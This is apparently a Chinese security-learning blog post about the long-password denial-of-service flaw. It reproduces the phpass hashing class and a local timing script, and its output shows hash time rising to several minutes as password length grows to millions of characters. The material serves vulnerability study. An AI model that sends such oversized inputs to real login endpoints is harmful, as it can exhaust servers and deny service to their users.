基于长密码的PHP函数验证漏洞学习（Long Password Denial of Service (DoS)）

啥都不说，干货直接上源码。

<?php/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. *///demo 0x001//require_once 'phpass.php';set_time_limit(0);ignore_user_abort(true);class PasswordHash{    var $itoa64;    var $iteration_count_log2;    var $portable_hashes;    var $random_state;    function PasswordHash($iteration_count_log2, $portable_hashes)    {        $this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';        if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31)            $iteration_count_log2 = 8;        $this->iteration_count_log2 = $iteration_count_log2;        $this->portable_hashes = $portable_hashes;        $this->random_state = microtime();        if (function_exists('getmypid'))            $this->random_state .= getmypid();    }    function get_random_bytes($count)    {        $output = '';        if (is_readable('/dev/urandom') &&                ($fh = @fopen('/dev/urandom', 'rb')))        {            $output = fread($fh, $count);            fclose($fh);        }        if (strlen($output) < $count)        {            $output = '';            for ($i = 0; $i < $count; $i += 16)            {                $this->random_state = md5(microtime() . $this->random_state);                $output .=                        pack('H*', md5($this->random_state));            }            $output = substr($output, 0, $count);        }        return $output;    }    function encode64($input, $count)    {        $output = '';        $i = 0;        do        {            $value = ord($input[$i++]);            $output .= $this->itoa64[$value & 0x3f];            if ($i < $count)                $value |= ord($input[$i]) << 8;            $output .= $this->itoa64[($value >> 6) & 0x3f];            if ($i++ >= $count)                break;            if ($i < $count)                $value |= ord($input[$i]) << 16;            $output .= $this->itoa64[($value >> 12) & 0x3f];            if ($i++ >= $count)                break;            $output .= $this->itoa64[($value >> 18) & 0x3f];        } while ($i < $count);        return $output;    }    function gensalt_private($input)    {        $output = '$P$';        $output .= $this->itoa64[min($this->iteration_count_log2 +                        ((PHP_VERSION >= '5') ? 5 : 3), 30)];        $output .= $this->encode64($input, 6);        return $output;    }    function crypt_private($password, $setting)    {        $output = '*0';        if (substr($setting, 0, 2) == $output)            $output = '*1';        $id = substr($setting, 0, 3);        # We use "$P$", phpBB3 uses "$H$" for the same thing        if ($id != '$P$' && $id != '$H$')            return $output;        $count_log2 = strpos($this->itoa64, $setting[3]);        if ($count_log2 < 7 || $count_log2 > 30)            return $output;        $count = 1 << $count_log2;        $salt = substr($setting, 4, 8);        if (strlen($salt) != 8)            return $output;        # We're kind of forced to use MD5 here since it's the only        # cryptographic primitive available in all versions of PHP        # currently in use.  To implement our own low-level crypto        # in PHP would result in much worse performance and        # consequently in lower iteration counts and hashes that are        # quicker to crack (by non-PHP code).        if (PHP_VERSION >= '5')        {            $hash = md5($salt . $password, TRUE);            do            {                $hash = md5($hash . $password, TRUE);            } while (--$count);        } else        {            $hash = pack('H*', md5($salt . $password));            do            {                $hash = pack('H*', md5($hash . $password));            } while (--$count);        }        $output = substr($setting, 0, 12);        $output .= $this->encode64($hash, 16);        return $output;    }    function gensalt_extended($input)    {        $count_log2 = min($this->iteration_count_log2 + 8, 24);        # This should be odd to not reveal weak DES keys, and the        # maximum valid value is (2**24 - 1) which is odd anyway.        $count = (1 << $count_log2) - 1;        $output = '_';        $output .= $this->itoa64[$count & 0x3f];        $output .= $this->itoa64[($count >> 6) & 0x3f];        $output .= $this->itoa64[($count >> 12) & 0x3f];        $output .= $this->itoa64[($count >> 18) & 0x3f];        $output .= $this->encode64($input, 3);        return $output;    }    function gensalt_blowfish($input)    {        # This one needs to use a different order of characters and a        # different encoding scheme from the one in encode64() above.        # We care because the last character in our encoded string will        # only represent 2 bits.  While two known implementations of        # bcrypt will happily accept and correct a salt string which        # has the 4 unused bits set to non-zero, we do not want to take        # chances and we also do not want to waste an additional byte        # of entropy.        $itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';        $output = '$2a$';        $output .= chr(ord('0') + $this->iteration_count_log2 / 10);        $output .= chr(ord('0') + $this->iteration_count_log2 % 10);        $output .= '$';        $i = 0;        do        {            $c1 = ord($input[$i++]);            $output .= $itoa64[$c1 >> 2];            $c1 = ($c1 & 0x03) << 4;            if ($i >= 16)            {                $output .= $itoa64[$c1];                break;            }            $c2 = ord($input[$i++]);            $c1 |= $c2 >> 4;            $output .= $itoa64[$c1];            $c1 = ($c2 & 0x0f) << 2;            $c2 = ord($input[$i++]);            $c1 |= $c2 >> 6;            $output .= $itoa64[$c1];            $output .= $itoa64[$c2 & 0x3f];        } while (1);        return $output;    }    function HashPassword($password)    {        $random = '';        if (CRYPT_BLOWFISH == 1 && !$this->portable_hashes)        {            $random = $this->get_random_bytes(16);            $hash = crypt($password, $this->gensalt_blowfish($random));            if (strlen($hash) == 60)                return $hash;        }        if (CRYPT_EXT_DES == 1 && !$this->portable_hashes)        {            if (strlen($random) < 3)                $random = $this->get_random_bytes(3);            $hash = crypt($password, $this->gensalt_extended($random));            if (strlen($hash) == 20)                return $hash;        }        if (strlen($random) < 6)            $random = $this->get_random_bytes(6);        $hash = $this->crypt_private($password, $this->gensalt_private($random));        if (strlen($hash) == 34)            return $hash;        # Returning '*' on error is safe here, but would _not_ be safe        # in a crypt(3)-like function used _both_ for generating new        # hashes and for validating passwords against existing hashes.        return '*';    }    function CheckPassword($password, $stored_hash)    {        $hash = $this->crypt_private($password, $stored_hash);        if ($hash[0] == '*')            $hash = crypt($password, $stored_hash);        return $hash == $stored_hash;    }}//Long Password Denial of Service (DoS)//denial-of-service-responsible-disclosureclass hasher {    function __construct($pass)     {        $pass_hash = new PasswordHash(8, TRUE);        $hashed_pass = $pass_hash->HashPassword($pass);    }}$length = array("1", "10", "50", "100", "500", "1000", "5000", "10000", "50000", "100000", "200000", "300000", "400000", "500000", "600000", "700000", "800000", "900000", "1000000", "2000000", "3000000","4000000", "5000000", "6000000", "7000000", "8000000", "9000000");foreach ($length as $value)     {    $valor = str_repeat("A", $value);    $time_start = microtime(true);    $hashgen = new hasher($valor);//in this case the PHP script not control the input length:    echo 'Size in character(s): ' . $value;    echo ' Total execution time in seconds: ' . (microtime(true) - $time_start);    print "\n";    }       

//关键区域注意hasher定义类这块代码

$hashed_pass = $pass_hash->HashPassword($pass);//注意此处函数，由于没有限制密码长度，导致系统运行耗时。

输出结果测试：

"php.exe" "TimingAttack.php"Size in character(s): 1 Total execution time in seconds: 0.015599966049194Size in character(s): 10 Total execution time in seconds: 0Size in character(s): 50 Total execution time in seconds: 0.015599966049194Size in character(s): 100 Total execution time in seconds: 0Size in character(s): 500 Total execution time in seconds: 0.015599966049194Size in character(s): 1000 Total execution time in seconds: 0.031200170516968Size in character(s): 5000 Total execution time in seconds: 0.12480092048645Size in character(s): 10000 Total execution time in seconds: 0.23399996757507Size in character(s): 50000 Total execution time in seconds: 1.1700019836426Size in character(s): 100000 Total execution time in seconds: 2.2776041030884Size in character(s): 200000 Total execution time in seconds: 4.1808068752289Size in character(s): 300000 Total execution time in seconds: 9.656417131424Size in character(s): 400000 Total execution time in seconds: 14.149224996567Size in character(s): 500000 Total execution time in seconds: 17.425230979919Size in character(s): 600000 Total execution time in seconds: 19.094433069229Size in character(s): 700000 Total execution time in seconds: 23.010040998459Size in character(s): 800000 Total execution time in seconds: 24.070841789246Size in character(s): 900000 Total execution time in seconds: 28.298449993134Size in character(s): 1000000 Total execution time in seconds: 33.259258031845Size in character(s): 2000000 Total execution time in seconds: 67.298518180847Size in character(s): 3000000 Total execution time in seconds: 101.29097795486Size in character(s): 4000000 Total execution time in seconds: 113.45899987221Size in character(s): 5000000 Total execution time in seconds: 135.59543800354Size in character(s): 6000000 Total execution time in seconds: 154.45587110519Size in character(s): 7000000 Total execution time in seconds: 203.9391579628Size in character(s): 8000000 Total execution time in seconds: 234.54641199112Size in character(s): 9000000 Total execution time in seconds: 265.59046697617Done.